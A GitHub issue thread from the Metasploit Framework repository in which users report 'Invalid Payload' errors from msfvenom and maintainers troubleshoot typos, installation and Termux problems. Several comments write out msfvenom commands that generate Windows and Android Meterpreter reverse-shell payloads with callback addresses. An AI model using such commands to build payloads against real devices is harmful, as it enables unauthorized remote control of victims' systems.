rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.15k stars 13.97k forks source link

In valid Payload #9294

Closed monomaki2035 closed 6 years ago

monomaki2035 commented 6 years ago

Hello I'm having issues when trying to run msfvenom when I try to run any valid command : ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.156 lport=555 -f exe > /home/user/Desktop/new.exe

All I get is "Error:Invalid Payload " I get that error for every payload I try to run

I'm running Ubuntu 16 64bit With the latest version of metasploit

Any help would be golden :)

timwr commented 6 years ago

If it's any help I can't reproduce on ubuntu:

./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.156 lport=555 -f exe > /home/user/Desktop/new.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes

This suggests it's something about your local installation method, environment or antivirus.

busterb commented 6 years ago

Could you tell us how you installed on Ubuntu? Since you're using './msfvenom' I'm going to guess this is a git checkout?

monomaki2035 commented 6 years ago

I install metasploit through the pentester framework by trustedsec

monomaki2035 commented 6 years ago

I install metasploit through the pentester framework by trustedsec

Sent from my iPhone

On Dec 12, 2017, at 11:03 AM, Brent Cook notifications@github.com wrote:

Could you tell us how you installed on Ubuntu? Since you're using './msfvenom' I'm going to guess this is a git checkout?

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or mute the thread.

busterb commented 6 years ago

That's odd. What is your working directory when you type './msfvenom' ? The package used by trustedsec really should be invoking msfvenom via /usr/bin/msfvenom which is already in your path.

monomaki2035 commented 6 years ago

The home directory

monomaki2035 commented 6 years ago

The msfconsole seems to be working correctly Iam just having issues with msfvenom

busterb commented 6 years ago

please try using 'msfvenom' without the './' in front

monomaki2035 commented 6 years ago

I think i solved the problem,every thing seems to be working great thank you guys for your prompt response

OJ commented 6 years ago

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 https://github.com/rapid7/metasploit-framework/issues/9294.

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#event-1384271919, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ .

monomaki2035 commented 6 years ago

I figured out that it's the/windows/meterpter/reverse_tcp payload that doesn't work

Sent from my iPhone

On Dec 12, 2017, at 4:04 PM, OJ Reeves notifications@github.com wrote:

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 https://github.com/rapid7/metasploit-framework/issues/9294.

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#event-1384271919, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ .

— You are receiving this because you modified the open/close state. Reply to this email directly, view it on GitHub, or mute the thread.

OJ commented 6 years ago

More information please. That payload works fine for me.

On 14 Dec. 2017 23:10, "DRBadVibes" notifications@github.com wrote:

I figured out that it's the/windows/meterpter/reverse_tcp payload that doesn't work

Sent from my iPhone

On Dec 12, 2017, at 4:04 PM, OJ Reeves notifications@github.com wrote:

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 https://github.com/rapid7/metasploit-framework/issues/ 9294.

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/ 9294#event-1384271919, or mute the thread https://github.com/notifications/unsubscribe-auth/ AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ .

— You are receiving this because you modified the open/close state. Reply to this email directly, view it on GitHub, or mute the thread.

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-351706505, or mute the thread https://github.com/notifications/unsubscribe-auth/AABw4KPsZFohyUxKkuyw9OBlrTmCZVzKks5tAR43gaJpZM4Q_FQJ .

mbviruy commented 6 years ago

I have the same problrm msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.53 LPORT=4444 R > mudiviruy.apk Error: Invalid Payload Selected

bcoles commented 6 years ago

@mbviruy strange. Need more details about your environment. Are you using Metasploit from GitHub?

Works for me.

# ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.53 LPORT=4444 R > mudiviruy.apk

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10090 bytes
# file mudiviruy.apk
mudiviruy.apk: Zip archive data, at least v2.0 to extract
mbviruy commented 6 years ago

@bcoles my e-mail is mammarula@gmail.com can we have a private chat please

bcoles commented 6 years ago

@mbviruy No thanks I have a girlfriend.

android/meterpreter/reverse_tcpis definitely a valid payload. Ensure your Metasploit is up to date.

If you think you've found a bug, please create a new issue, ensuring you provide sufficient information for someone to reproduce the issue.

If you're looking for help or have a general inquiry, you might have more luck on the #metasploit channel on Freenode IRC, or on slack.

mbviruy commented 6 years ago

Thank you for your repy I am in Tanzania-Zanzibar i dont know if you have had about it. I was asking for materials about cyber security as in my country it is not a very common issue, people are still beliving and liv in a strange world, plz help me by tutoring me

On Wed, Sep 26, 2018 at 8:05 AM Brendan Coles notifications@github.com wrote:

@mbviruy https://github.com/mbviruy No thanks I have a girlfriend.

android/meterpreter/reverse_tcpis definitely a valid payload. Ensure your Metasploit is up to date.

If you think you've found a bug, please create a new issue, ensuring you provide sufficient information for someone to reproduce the issue.

If you're looking for help https://www.metasploit.com/help or have a general inquiry, you might have more luck on the #metasploit channel on Freenode IRC, or on slack https://www.metasploit.com/help.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-424749043, or mute the thread https://github.com/notifications/unsubscribe-auth/ApZe3MV5fPOiH2l5CAvG-mY8tq0duIqJks5ue5fOgaJpZM4Q_FQJ .

bcoles commented 6 years ago

@mbviruy Hujambo. Njoo tembelee.

Come visit us on Slack. You can find the Slack invite link at the bottom of this page.

You may also enjoy:

mbviruy commented 6 years ago

Ahsante Thank you for the resources, looking forward for more uodates You speak Swahili?

On Thu, Sep 27, 2018 at 1:35 PM Brendan Coles notifications@github.com wrote:

@mbviruy https://github.com/mbviruy Hujambo. Njoo tembelee.

Come visit us on Slack. You can find the Slack invite link at the bottom of this page https://www.metasploit.com/help.

You may also enjoy:

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-425233165, or mute the thread https://github.com/notifications/unsubscribe-auth/ApZe3NYTTw52UhNCTPz-1P2N9KtsIdF4ks5ufTaggaJpZM4Q_FQJ .

kostandinvllahu commented 4 years ago

i have same problem but in termux msfvenom -p android/meterpreter/reverse_tcp/lhost=193.161.193.99 lport=50519 R> Mods.apk

and it shows me Invalid Payload Selected

bcoles commented 4 years ago

i have same problem but in termux msfvenom -p android/meterpreter/reverse_tcp/lhost=193.161.193.99 lport=50519 R> Mods.apk

and it shows me Invalid Payload Selected

android/meterpreter/reverse_tcp/lhost is not a valid payload.

msfvenom -p android/meterpreter/reverse_tcp lhost=193.161.193.99 lport=50519 R> Mods.apk

Also, Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

849ashish commented 4 years ago

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk This showing error: invalid payload: android/meterpreter/reverse_tcp

bcoles commented 4 years ago

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk This showing error: invalid payload: android/meterpreter/reverse_tcp

Are you sure that's what you typed? The error message is not the same as your input andriod/meterpreter/reverse_tcp which misspelled android as andriod.

849ashish commented 4 years ago

Help to fix this issue in termux

On Mon, May 25, 2020, 11:51 AM bcoles notifications@github.com wrote:

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk This showing error: invalid payload: android/meterpreter/reverse_tcp

Are you sure that's what you typed? The error message is not the same as your input andriod/meterpreter/reverse_tcp which misspelled andord as andriod.

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-633399338, or unsubscribe https://github.com/notifications/unsubscribe-auth/APWU5HVSUCSP5KIK77HEYQLRTIFAFANCNFSM4EH4KQEQ .

bcoles commented 4 years ago

Help to fix this issue in termux On Mon, May 25, 2020, 11:51 AM bcoles @.***> wrote: msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk This showing error: invalid payload: android/meterpreter/reverse_tcp Are you sure that's what you typed? The error message is not the same as your input andriod/meterpreter/reverse_tcp which misspelled andord as andriod. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#9294 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/APWU5HVSUCSP5KIK77HEYQLRTIFAFANCNFSM4EH4KQEQ .

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

Abhishekdubeyy commented 4 years ago

i'm using kali linux via virtual box i'm also getting same invalid payload selected error

gwillcox-r7 commented 4 years ago

@Abhishekrkd Please add more details. Also we would greatly prefer you to open a new issue and then link to this one versus commenting on old issues as this helps us keep track of information better within our system. The new issue template should tell you what information is required: please do not erase this and instead fill out the template with the requested information.

clown-gaming commented 4 years ago

i'm using kali linux via virtual box i'm also getting same invalid payload selected error

is your problem sloved if yes then please me also getting same problem

youssefoumghar commented 4 years ago

Error: invalid payload: android/meterpreter/reserve_tcp help §?

gwillcox-r7 commented 4 years ago

Error: invalid payload: android/meterpreter/reserve_tcp help §?

Please don't comment on closed issues, if you have a new issue, please instead open a new issue. However r.e your problem, it should be android/meterpreter/reverse_tcp

gwillcox-r7 commented 4 years ago

Locking this issue as the original author's question has been answered and all other questions have been off topic and mostly related to Termux issues. We do not support Termux and ask that users who wish to use Metasploit with Termux consult their local Termux group for more help.

Users who are experiencing similar issues are encouraged to open a new issue and link to this one.